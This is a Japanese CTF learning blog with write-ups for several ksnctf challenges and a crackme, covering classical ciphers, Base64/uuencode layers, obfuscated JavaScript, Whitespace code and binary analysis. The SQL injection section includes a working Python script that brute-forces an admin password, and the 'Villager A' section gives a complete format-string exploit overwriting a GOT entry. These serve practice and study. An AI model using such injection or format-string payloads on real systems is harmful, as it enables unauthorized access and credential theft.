アイジア

CTF, 情報セキュリティの学んだことメモ

ksnctf 7 Programming

ksnctf7問目。プログラミングの問題です。

ksnctf.sweetduet.info

リンク先にあるcppファイルをダウンロード、コンパイルして実行してみます。
f:id:favoritte15:20181114125712p:plain
当然だめ。コードで特徴的なのは異様に空白や改行が多いこと。難読化のためでしょうか?
調べてみたところWhitespaceという難解なプログラミング言語だとわかりました。C++のコードはフェイクで、タブや空白がコードの本体として動作するという奇妙な言語です。実行及びデバッグができるサイトで解析します。

Whitelips the Whitespace IDE

f:id:favoritte15:20181114135248p:plain
右のデバッグ部分を見た感じ、PINとして33355524を入力するとフラグを出力する部分(label_0)に飛ぶみたいです。

ksnctf 6 login

ksnctfの6問目を解いていきます。

ksnctf.sweetduet.info

問題のリンクへアクセスするとフォーム画面があります。とりあえず何も考えずにSQLインジェクションを試します。
f:id:favoritte15:20181114112141p:plain
f:id:favoritte15:20181114112315p:plain
あっさり通りましたがまだフラグは分かりません。adminのパスワードをクラックしなければいけないようです。

SQLインジェクションを利用したブルートフォース攻撃


ksnctfのフラグは最初5文字が「FLAG_」で計21文字なのでのこりの16文字を総当たり攻撃によって求めます。

# -*- coding: utf-8 -*-
import requests

flag = "FLAG_"
url = "http://ctfq.sweetduet.info:10080/~q6/"
for i in range(6, 22):
    for j in range(48, 123):
        d = {'id':"admin", 'pass':"' OR substr((SELECT pass FROM user WHERE id='admin'),1,"
         + str(i) + ")='" + flag + chr(j) + "'--"}
        result = requests.post(url, data=d)

        if len(result.text) > 1500:
            print(chr(j))
            flag += chr(j)
print(flag)

ksnctf 5 Onion

ksnctfの5問目を解いていきます。 ksnctf.sweetduet.info

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV0ZKdGVGWlZNakExVmpBeFYySkVU bGhoTWsweFZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdFdVZ3BpVlZwWVZtMTRj MDB4V25GUmJVWlVUV3hLU1ZadGRHdFhRWEJwVW01Q1VGZFhNSGhpCk1WWlhWMjVHVW1KVldtRldh a0Y0VGxaVmVXUkdaRmRWV0VKd1ZXcEtiMlJzV2tkWGJHUnJDazFXY0ZoV01qVlRZV3hLV0ZWdFJs ZGgKYTFwTVZURmFZV1JIVWtkYVJscGhUVEJLZDFadGVHRmtNV1JYVjI1U1RsWkdTbkZEYXpGRlVX cFNWMDFxVmxSWlYzaExWMFpXYzFacwpWbGNLVFRKb1RWWlVSbUZaVjFKSVZXdHNWV0pYYUZkV01G WkxWbFprV0dWSGRHbE5iRXA2VmpKMGExbFdUa2xSYmtwRVlYcEdlbFl5CmRHOVdNREZ4Vm14U1Yx SXphR2hWYWtaUFl6RmFjd3BXYkdOTFZGUkJNRTFHV2toa1IwWm9UV3MxTUZWdGRHdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRTU0U5V1NrNVdiSEJKVmpKMFlXSXhVbk5VYTJob1UwVktSVmxZY0Vk WFJsbDVDbVZIT1ZkTlJFWjRWbTE0VTFZeApTWHBoUjJoV1lXdGFVRmw2Um1GamQzQlhZa2RPVEZa R1VrdGlNVkpYVjJ4V1UySlZXbUZXYWtaTFUxWmFXR1JIT1doTlZXdzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hWYWtaaFpFWktkR1JGTlZkTlZYQmFWbTF3U2sxV1ZYbFNiazVVWWtkNFYxbHRkRXRT Vm14WlkwVmsKV0ZKc1ZqVkRiVlpJVDFab1UwMUdXVEJYVkVKdldWWmtjd3BYYTFwWVlUTlNhRlZy Vm1GamJIQkdWMnQwYW1RelFtaFZha3ByVkVaawpWMVZyVGxkTlJGWklWMnRvVDFkSFNsWlhiR1JW VmpOT05GUnJXbXRqYlVaSFZHMW9UbFpZUVhoV1ZtUTBDbUV4V1hkTlZXTkxWakowCk5GWXlTa2Rq U0VwWFRVZFNXRlV3V2t0ak1WWnlUbFprVGxaWVFtRldiVEYzVXpBeFNGSllhRmhpYkVwVVZqQmtV MVZHV25SbFIwWlQKVm0xNFdsa3dWbXNLVjBaS2RHUkVUa1JpUjFJd1ZERmFiMVV3TVVkWFZFSllW a1ZLZGxWNlJscGxVWEJUWW10d2NWVnNhRzlXTVd4WQpaRWhrVmxKc1ZqUldNbmhQWVcxUmVsRnNi RnBpUjFGM1ZrVmFZUXBrUjFKSFdrWndWMkpJUWxsV2FrbzBWakZWZVZOc1dsaGlWVnBZCldWZDBZ VlJHVlhoWGJVWllVakZLU1ZReFpHOVViRnBZWkhwR1dGWnNXbkpEYlVsNFYyeGtXR0V4YkV4V1ZF b3dDazVHV1hsVGEyUnEKVTBWd1dGUlZaRk5YUmxWM1YydDBhazFXV25sVWJGcHJWR3hhV1ZGdFJs ZGlXRUpNVkZWa1NtVkdWbGxoUjJ4VFlsWktWbGRXVWtkawpNVnBYWWtoT1YySlZXbFFLVm0weE5H VldXWGxPVjNOTFZtcEtTMUl4WkhGUmExSm9aV3hhWVZZeWRHRmhNVkp6VTJ0YVdHRnNTbGhaCmJG SkdUVVpXVlZKc2NHdGtNMEpQVm14a2IxWXhiRlZVYlRsWVVtMTRlZ3BaVldNMVlXMUtTVkZyYUZk TmJrMHhXVmN4VW1Wc1JuVlMKYkZwb1lUSTVNMVpyVm1GWlVYQllVbFJHUmxWdGVFdFViVVY1Wkhw Q1YyRnJhM2hXVkVwSFl6Rk9jMkZHV21sU01VcG9DbGRYZEdGawpNa1pIVmxoa1dHSklRbk5XYkZK WFYwWmtjbGR0ZEZkTlJFWktWVmQ0ZDFkR1duTlhiV2hFWWtaR05GWXhhR3RVYkZwWVZHdDRWMkZy CmIzZERhelZIVjFoc1ZHRXlVbkVLVlRCV2QxZEdVbFphUms1WFVteFdNMVl5ZERCaE1VbDRVMnRr VldKR2NISldSM2hoVjFaR2RGSnMKWkdsWFJVcE5Wa1pXWVdNeFpFZFViR3hwVW1zMVdWVnFTbTlX YkZweFVXMTBWZ3BOVjFKWVdXdG9VMkV4VGtoVmJGRkxWbTB3ZUU1RwpaSE5oTTJSWFlsaE9URlpx UW1GVE1sSklWV3RXVldFeFNuQlZha1pLWkRGYVJWSnRSbWhOVmtwNlZUSjBZVmRIUm5OVGJHaGFD bUpHClNrZFVWVnBYVmxaS2RHUkdUbXROTUVwYVYxY3hlazFYVGxkV2JrNW9VbnBzV0ZSV1pEUmxa M0JhVmxkTk1WWnRlRXRrVmtaeVlVWmsKVG1Kc1JqTlhWbU40VlcxV2MxSnVUbWdLVW01Q2IxUlhl RXRWVmxweVZtMUdhR1F6UWxsVmFrWkxVMVpSZUZkcmRHaFdiSEI2V1RCUwpZVll5Um5KaE0yaFdZ V3RhV0ZwRldrOWpNV1J6WVVkc1UwMXRhRzlEYkdSWVpFZEdhd3BOYTFwSVZqSTFSMVV5U2taT1dF WlZWbTFTClZGUlZXbGRrUjFaSVVteGFUbUV6UWt0V1ZscHZZVEZrUjFkdVRsaGlWMmhGV1d0YVIw NUdXWGhoUjNSVllrWndXVlpIZERSV01rWnkKQ21JelpFUmhlbFpJV1d0YWExWkhSWGhqUm10TFYx ZDRhMkl4WkVkVmJGcGhVbXMxVjFWdGVHRk5SbXQ2WTBaa1dGSnJiRE5aTUZacgpWbGRLUjJOSVNs ZFNNMmhvVmpGYVIyTnRVa2NLV2tkc1YxSldiRFpXYkdoM1VXMVdSMVJyWkZSaVIzaHZWV3BDWVZa R1duRlRiVGxYCllrZFNXVnBGWkRCVWQzQlRZa2QzTUZkWGRHOVZNa1owVm01S1dHSkdSa3hXYlRC M1pVVTFTQXBXYms1WVlteEtVRlpxVGs5VVJscHgKVVcxR1ZFMXJNVFZWTW5SWFZqSkZlRk51UWxk aVdGSXpWVEo0WVZKV1NuUlNiV2hPVm10d05sWlVTakJaVm1SSFdrVm9hRkp0YUdGRApiVVY1Q2xW ck9XRldWbkJ5Vm1wR2EyUkhVa2hqUjNST1RVVndZVll4V2xOU01sRjRXa1prYVZKc1dsWlphMVV4 WWpGV2RHVkhSbXhWCldFSllXV3hTUjFOR2JGaE5WWFJVVWpGSk1sVXllR0VLWVZaa1NHRkliRmhX YlU0MFZsY3hWMk14U25WVWJXZExWVzAxUTJJeFVsaGwKUlhSV1ZteHdlVlp0TVVkaFIxRjZVV3hz Vm1GcldreFZNVnBYWkVkV1NHUkdWbWxTV0VKSlZtcEtNQXBqTVZsNVVtNUthV1ZyU21GWgpWM1Iz VTBac05sSnJPV3BOYTFwSVZqSXhjMVV3TVZaalJtaEVZa1p3TUZrd1ZUVldVWEJPVWtaYVNWWnNZ ekZUTVdSSVUydHNVbUpyCk5WaFphMXBMQ2xkR1duRlNiRXBzVW0xU01GcEZXbXRVYkVwR1YydDBW MVp0VVhkYVJFWmFaVlpPY21GR1dsZFNWWEJHVjFkNFYxWXcKTlVkWFdHaG9Vak5TVmxsclduZFhW bHBJWkVSU1YwMXJXbmtLUTIxSmVscEZVbWhsYkZwSlZtcEdiMkV4VW5OYVJXUllZbFJvVEZacwpa SGRUTWtsNFdrVmtWbUpHY0ZsWmEyUlRWVVpXZEdWSVpHeGlSbXcxV2tWa01HRkZNVlppUkZKV1RX NVNjZ3BXYkdSTFVqSk9TVk5zCmNGZGlTRUpSVmxjeE5GUXlUblJWYTJOTFYydGtjMWRHU2xaalJU VlhZVEZ3V0ZsVVJrOWtSbHB5V2taa2FWSXphSFpXVjNCRFdWWmEKVjFadVRtaFNWVFZYQ2xWdGVI ZFdiRlpZVFZSQ1ZXUXpRbFJaYTJRelRVWmtXR1JIT1ZSTlZtdzFWV3hvZDFadFNrZFNhM2hYWWxS QwpNMXBWVlRGVFFYQlhZa2RTV1ZsdGVFdFZSbHB6VlcwNVZWSnNjSGtLVmxkMGExWkZNWEpOVkZK WVlUSm9TRlpYTVVabFJrNTFVV3hrCmFWSnJjRmxXVkVaaFdWZE9jMk5GVmxaaVYyaFBWbTEwZDA1 c1duRlRhbEpwVFZaYVNGWkhkRzlpUmtwMFlVZEdSQXBpVlhCSVEyeE8KY2xwR1ZsZFdia0paVm0x NFlWTXlUWGxVYTJoc1VteHdXVlZzVm5kV01WbDRXa1JDV2xadGVGaFdNblJyWVZaS2MxZHNXbHBp UmtwNgpWakZhVjJSSFZrWmtSbWhTQ2xkRlNsbFdSbVIzVmpKT2MxZHVTbGhoTTFKeVZXcEdTazFz VlhsbFIwVkxXVlphYTFJeFRuVmlSbWhYCllsVTBNRlpzWTNoV01rMTRVMjVXVm1KWFpFeFdWekUw WkRKSmVHSkdWbFFLVmtaYVQxUldXbmRsVmxwMFRWVmtXR0pHV2xwVlYzaHoKVm0xS1IxTnJhRmRp V0doWVZqQlZlRlpXUm5OV2JXeFRZbXRHTkZac1dtdE9RWEJxVFZac05WVnROVXRoVlRCNVZXMUdW d3BoTVZwbwpXVlZhZDFKc1pISmtSbWhYVFVoQ1NWWnFTWGhqTWtaR1RWWnNVbUpIYUVWWmExcDNU VVpTVm1GSE9WZGFNMEpQVm0wMVExTldXbkZTCmJUbHBUVmRTU1ZVeWVHRlhSMHBIQ2xkc1pGcFdN MUpvUTJ4U1IxWllhRmhpUjFKeVZXcEdZVk5XVm5SbFIwWlZZbFZXTmxWWGREQlcKTVZwMFZXcE9X RlpzY0dGYVZscExaRlpPZEdGRk5VNWlWMmhIVmpGa01GWnRWa1lLVGxWa1dGZEhlSE5WYWs1VFYx WldjVkZzWkU5UwpiWGg1Vm0xd1UxWXdNVmRqUldOTFVUSXhTbVZzY0VaVmJXaHNZa1p3U2xadGNF ZGlNazE0Vmxob1lWSlhhRzlWTUZaWFZFWmFjd3BhClNHUlVUV3RzTkZZeGFHOWhWa3AwWVVoS1Zt RnJTbWhaTVZwelkyeHdSVlJyTldsU2JHOTNWa2Q0YTAxR1dYaFRia3BwVWtaS1YxUlgKTlZOaloz QlhZa2RTVEZWcVNrOVRWazV6Q2xwRk5WTmlhMHBPVm0wd2QyVkdVWGhUYmxKV1lUSk9URll5ZEd0 ak1WbDRVMnhrYVZKRwpjRmhaYTFwTFZFWndXRTFXWkZOTlYxSmFXVlZhYjJGV1NYcGhTR1JYVm5w Rk1GVjZTa29LWlVaV2MyRkhlRk5YUmtwWlEyeHNjbHBHClRsaFdia0pIVjJ0U1EyRkdWbGxSYXps WFlsUkZlbFJWV210WFIxSklUMVphVG1FeFdUQldhMlF3WWpGYWRGTnJaRk5oTTJoWVdXeFMKUXdw Tk1YQldWbFJHVkZGWVFsaFpiWE14VjFac2RHVkZkRlpTYkhCNFZrZHpOVlpXU25OalJFRkxWMnRX YTFJeFpITlhXR1JPVmtaSwpWMVJYY0ZkVFJscDBUVlZhYkZKck5URlZWM2hoQ21GV1pFaGFNM0JY VWpOb2FGZFdXa3RXTVU1MVZXeE9hVll5YUZCV2JURXdaREExCmMxZHVSbFJoYkVwd1ZGWmFZVk5H V2toa1J6bHBVbXR3TUZsVlpFZFNRWEJwVmxoQ1NWRXllRThLWTJ4d1IxWnNaRmRpYTBwMlZtMHgK TkZsV1RYbFVXR3hWWVRKb2MxVnRlSGRYVmxaelZtNWtWMkpHYkRSWFZFNXZWR3hKZUZKcVZsZFNN Mmh5Vm1wS1MyTnJOVmhQVmxwcApZbXRLTmdwV01WcGhXVmRTUms1V1dsVmlSMmhYUTJ4a1JsTnRP VmRXTTJoeVZsUkdUMUl5U2tkaFJUVlhWMFpLVmxadE1UQlpWMVpYCldraEtXR0pVYUV4WFZsWlda VVpaZVZScmJHbFNiVkp3Q2xWdGRIZFVWbHB6V1ROb1YwMXJNVFJWTWpWWFZsZEtXR1JGZUZkV2Vr RjQKVlZSS1NtVkdWbk5oUjNkTFZXeG9VMVl4V25SbFNHUnNWbXh3TUZSV1ZtdGhSa2w0VW1wYVZs WXphSG9LVm0weFIyTnNaSFJoUmxwTwpVbTVDYUZkc1dsWmxSbHBYVW01T1YySlhlRmhXTUZaTFUx WmFkR05GWkZaa00wSlRWRlphYzA1V1ZuUk9WWFJvVmxSQ05WWlhlRzlYClozQlhUVEZLYndwV2JY QkhaREZaZUZwSVNsQldNMEp3Vm14YWQxTldXbkZUV0docVRWWldOVlV5TlV0V1IwcElZVVZXV21F eGNETlUKVlZweVpERmFWVlpzWkdGTk1FcFFWbGQwVjFOck1VZGFSbFpTQ21KVlduQlVWM1IzVTBa VmVVNVdUbGRpVlhCSlEyMVdSMXBHY0ZkTgpNVXB2VVRJeFIxSXhXbGxhUm1ocFYwWktlRmRYZEd0 Vk1sWnpXa2hLWVZKNmJGaFVWM1JYVG14V1dFMVZaRmNLVFZad01GWkhjRk5XCmJVWnlWMjFHWVZa c2NFeFdNV1JMVWpGa2MyRkdUazVXV0VKSVZtcEdZV0l5VVhoWFdHZExWa2QwYTFZeFpFaGxTRXBX WVdzMVZGbHEKUm5OamJGcDFXa1pTVXdwaVdHZzFWbTB4ZDFVeFdYZE5WbHBxVTBjNVRGVlVTalJo TWsxNFZtNUtWbUpYZUZoV2ExWldaREZhYzFWcgpkRTVTTUZZMVZXMDFUMVpIUlhsVmJrWldZa1pL ZGxaRldtRmpkM0JoQ2xKRlNtOVVWVkpYVTBaVmVXVkhkRnBXYXpWSVZqSTFRMVpXCldrWmpSbEpY Vm14d2FGbDZSbUZXVmtwMFpFWmthVkp1UWtwV2JYaGhZakpGZUZkcmFGWlhSM2hSVld0a05GSlda SFVLWWpOa1VGVlkKUWtWWGJtOTNUMVZPYmxCVU1Fc0sK

一見すると何が何だかわかりませんが、文中にアルファベットと数字しか含まれていないことを考えるとBase64エンコードされている可能性が高いです。デコードしていきましょう。

Base64デコード(Base64 Decode)|Web便利ツール@ツールタロウ
f:id:favoritte15:20181114103258p:plain
↑一見すると変わってないように見えますが、末尾の方がちゃんと変わっています。くり返しデコードを行います。 十数回やると以下のコードが出てきました。

begin 666
51DQ!1U]&94QG4#-3:4%797I74$AU
end

これはuuencodeというUNIXで使われるエンコード方式です。

デコーダで「51DQ!1U]&94QG4#-3:4%797I74$AU」を復元するとフラグが出てきます。
uuencode変換

タイトルの意味
f:id:favoritte15:20181114104341j:plain
ITでのOnionといえば、Torブラウザのオニオンルーティングが有名です。Torで行う通信は何重にも暗号化されており、データを暗号化の層が覆う姿が玉ねぎのようだということから名付けられています。この問題でもフラグがBase64uuencodeの層によって守られていましたね。
ちなみに同じように食べ物に例えるものとして、多層防御の考え方の一つであるスイスチーズモデルがあります。参考までに。
f:id:favoritte15:20181114105758j:plain

ksnctf 4 Villager A

ksnctfの4問目を解いていきます。ポイントはかなり高め。解くにはアセンブリの知識と、スタックのしくみについての理解が必要です。

ksnctf.sweetduet.info

SSHでサーバにアクセスする

TeraTermと問題文の情報を使ってサーバへリモートでログインします。問題の分類的にはpwn(サーバにアクセスして脆弱性を見つけたり、それを利用してフラグを読みだしたりすること)ですね。 f:id:favoritte15:20181113214343p:plain
サーバにはflag.txtがありますが権限がないため読み出しができません。

q4の解析

f:id:favoritte15:20181113214506p:plain
q4を起動すると名前を聞かれます。その後flagが欲しいかと聞かれるのですがyesと言っても教えてくれません。 gdbによるq4プログラムの解析を行っていきます。以下のコマンドを実行してください。

gdb -q q4<br>disas main

するとかなり長いアセンブリが出力されると思います。1行ずつ解析するのは大変かもしれませんが、call文だけ見れば何をしているのかだいたいわかったりします。以下区切り事にざっくりとした解説を載せていきます。

f:id:favoritte15:20181113220134p:plain
「What's your name?」という文字列をputchar関数で出力しています。

f:id:favoritte15:20181113220602p:plain
fgetsでユーザーからの入力を受付け、printfで「Hi, (ユーザーの入力した名前)」と出力する箇所。


f:id:favoritte15:20181113221039p:plain
putchar関数を呼び出して改行した後、一気にmain+205までジャンプしています。


f:id:favoritte15:20181113221601p:plain
詳しく解説はしませんが、普通に実行するとmain+102にジャンプします。


f:id:favoritte15:20181113221750p:plain
「Do you want the flag?」と永遠に聞いてくる部分です。strcmp関数で入力文字列と「no」を比較して同じならプログラムを終了します。


f:id:favoritte15:20181113222057p:plain
fopenでflag.txtファイルを開いて、その中身をprintf関数で出力させる処理です。しかし直前(0x0804868f <+219>)にジャンプ命令があり、普通に実行するだけではこの処理は行われません。

⑥の処理を実行させられるかどうかが問題を解く鍵になります。

printfの脆弱性を付く

この問題を解決するにはprintf関数の性質とフォーマット指定子%nを使った脆弱性を利用します。 f:id:favoritte15:20181113224838p:plain
printf関数には引数の数に決まりがありません。上の画像のように書式文字列をたくさん指定することでprintf関数は存在しない第2引数以降の値を参照しようとして、スタックの値を読み出してしまうのです。ここでは入力した値aaaaがスタックの上から6番目(0x61616161)に保存されていることが分かりました。

また%nは出力した文字列の総バイト数を第2引数以降で指定されたアドレスに格納します。 例として、

int main(){
     int i;
     printf("Hello%n\n" , &i);
}

上記のプログラムでは「Hello」と5バイト分出力しているのでiには5が入ります。もしここに第2引数を指定しなければ、代わりにスタックの値が書き換えられてしまうことになります。

これらを組み合わせて攻撃を行います。具体的にはputchar関数のアドレスを示す箇所を⑥のfopen関数が始まる部分(0x8048691)にします。

objdump -d q4

f:id:favoritte15:20181113230525p:plain
putchar関数のアドレスは0x80499e0に格納されているのでこのアドレスの中身を0x8048691にすることで攻撃は成功します。

\xe0\x99\x04\x08\xe2\x99\x04\x08%\$hn6

指定子%hnを使うことで下位2バイトに対しての書き込みを行うことができます。指定子を記述する前にすでに8バイト分出力しているので、上記の例ではアドレス0x80499e0の上位2バイトには8が入ります。ここには0x8691を入れたいのでたくさん文字を出力させる必要がありますが、これもフォーマット指定子を使って簡単に実現できます。

\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%\$hn6

「%34441x」で34441バイト分出力します。34441 + 8 =34449 = 0x8691なので下位ビットには8691が入ります。

\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%\$hn6%33139%\$hn7

同じようにして上位2ビットを0x804にしていきます。すでに0x8691バイト出力していますが、0x10804にすれば5桁以上が切り捨てられて0x804になります。0x10804-0x8691=0x8173 = 33139なので残り33139バイトを出力します。まとめると以下のようになります。

echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

まとめ:アセンブリ読もう


CTFをやる人はアセンブリは必須知識なので学習しておくとよいと思います。

Linuxをはじめよう!:アセンブリをやってみよう! 0x100
初めての人はこの辺から。アセンブリのしくみや書き方が基礎から書かれています。

ksnctf 3 Crawling Chaos

ksnctf の3問目を解説していきます。

ksnctf.sweetduet.info

問題文はunya.htmlへのリンクで、アクセスすると送信フォームがあるだけ。  f:id:favoritte15:20181112154947p:plain

XSSかなと思ったけどNoと表示されるだけでした。

Chromeでページのソースを表示します(Ctrl + U)。 f:id:favoritte15:20181112155308p:plain

するとJavascriptタグには意味不明の顔文字たちが。送信ボタンを押すとこのコードが実行されているようです。

難読化されていて読めませんが、console.logによる出力でデコードできないか試してみます。やり方は簡単で、ソースコードを全コピーしてJavaScriptのコードの部分をconsole.log()で囲み、htmlファイルとして保存するだけです。

f:id:favoritte15:20181112171411p:plain

ブラウザで見るとそれらしきコードが復元されています。入力文字列1文字目のアスキーコードを×1、2文字目を×2...していき、それが配列pの各値と等しいかを比べているだけなので逆算のプログラムは極めて簡単なものになります。

  

var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
var t=""
for(var i=0; i<p.length; i++)
        t += String.fromCharCode(p[i]/(i+1))
console.log(t);

なぜこんなことができるのか?

JavaScriptでは空の配列に演算子を付け加えると、それが数字や文字列として解釈されるようになります。

例:

+ → 0

~ → -1

ここで+演算子は足し算をしているのではなく、オペランド(ここでは空配列の)を数値に変換しています。 空配列を数値変換すると0になります。

(![]+"")→ true

({}+"") → [object Object]

同様に上記の記号を使用することでfalseやtrueなどの文字列を記号だけで表現できます。

これらの記号を組み合わせることで任意のjavascriptを実行できるようになります。詳しくは以下のリンクを参考にしてください。

記号だけのJavaScriptプログラミングの基本原理 - JPerl Advent Calendar 2010 Sym Track

(」・ω・)」うー!(/・ω・)/にゃー!encode - kusano_kの日記

 

ksnctf2 Easy Cipher

ksnctf.sweetduet.info

これからセキュリティの復習もかねてksnctfの問題を解き直していこうと思います。最初はeasycipherから。

 

問題文

EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.

 

謎のアルファベットが羅列されていて、このままでは読むことができません。

 

Writeup

これはシーザー暗号の一つであるROT13と呼ばれるものです。

f:id:favoritte15:20181109174807p:plain

例えば元の文が「A」なら「N」へ、「B」なら「O」という風に13文字分アルファベットをずらしていくという、最も古典的な暗号です。

 

ROT13 | Forensicist

変換できるサイトがあったのでそれを利用します。

ROT XIII is a simple letter substitution cipher that replaces a letter with the letter XIII letters after it in the alphabet. ROT XIII is an example of the Caesar cipher, developed in ancient Rome. Flag is FLAGSwzgxBJSAMqwxxAU. Insert an underscore immediately after FLAG.

 

フラグが出てきました。FLAGの後に「_」をつけるのを忘れずに。

 

Tips

古典暗号にはシーザー暗号のほかにVigenere暗号があり、過去のSECON CTF においてVigenere暗号に関する問題が出題されました。知っておいて損はないと思います。

参考:

古典暗号 - Vigenere暗号とカシスキー・テスト - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです

SECCON 2016 Online CTF: Vigenere (過去問題のWriteup)

 

 

 

crkme09

http://doomo.xyz/crack/crkme09.exe

前↓

aithea.hatenablog.com

前回と同じく名前とパスワードを入力する問題だったので同じ要領で解析しようと思ったけどなにかおかしい。

f:id:favoritte15:20180725110821p:plain

DB文がたくさん羅列していて、ラベル名にも関数が少ない。

 

前にやった問題で似たようなコードがあった。圧縮されているらしいのは確かだが、[右クリック] - [分析(Analysis)] - [コードを分析(Analyse code)]しても変わらない。

 

 

f:id:favoritte15:20180725111944p:plain

↑UPXでアンパックできるみたい。

 

アンパックした後もう一度Ollyで開くと今度はちゃんとしたアセンブリが表示されている。

f:id:favoritte15:20180725112438p:plain

00401255 > 83F8 16 CMP EAX,16

今回のパスは0x16(=22)文字。長い。

 

f:id:favoritte15:20180725112934p:plain

その後2つのサブルーチンに飛んで、

TEST EAX, EAXによる比較が行われる。この時点でEAXが0なら正解処理に飛ぶため2つのサブルーチンを実行し終わった後のEAXは1でなければならない。

 

先に下の関数(00401329)から解析していく。

 

f:id:favoritte15:20180725114817p:plain

パスワードの先頭4文字のアスキーコード - 0x283A4132 = 0x11111111でないと関数が終了してしまう。

0x283A4132 + 0x11111111 = 0x394B5243 = 9KRC

トルエンディアンなので逆にしてCRK9。

 

f:id:favoritte15:20180725115605p:plain

その次の処理。ECXに5文字目のパスワードを入れて0x2D(-)だったらOK。

 

f:id:favoritte15:20180725120524p:plain

それ以降の文字列は「MI5GQ51I-7V9WW2NT」と後ろから比較しているのでこれの逆を当てはめる。

f:id:favoritte15:20180725120832p:plain

 

 「MI5GQ51I-7V9WW2NT」の部分はNameによって変わると思う。